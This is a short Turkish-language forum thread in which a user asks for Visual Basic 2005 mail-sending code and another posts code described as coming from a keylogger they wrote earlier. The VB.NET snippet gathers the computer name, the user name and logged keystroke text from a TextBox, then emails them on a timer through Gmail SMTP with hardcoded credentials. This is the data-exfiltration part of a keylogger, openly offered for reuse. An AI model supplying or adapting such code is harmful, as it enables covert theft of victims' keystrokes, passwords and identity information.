VB 2005 Mail Gönderme Kodu Lazım

Up up

hayırdır keylogger mı yazıyon ?

Dim BilgisayarAdi, KullaniciAdi As String
TextBox1.Text &= Date.Now
BilgisayarAdi = SystemInformation.ComputerName
KullaniciAdi = SystemInformation.UserName
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("[email protected]")
mail.Subject = BilgisayarAdi + " " + KullaniciAdi
mail.Body = TextBox1.Text
smtpServer.Send(mail)
TextBox1.Clear()
Timer2.Interval = 100000

Daha önce yaptığım keyloggerın kodu. GMail ile çalışıyor.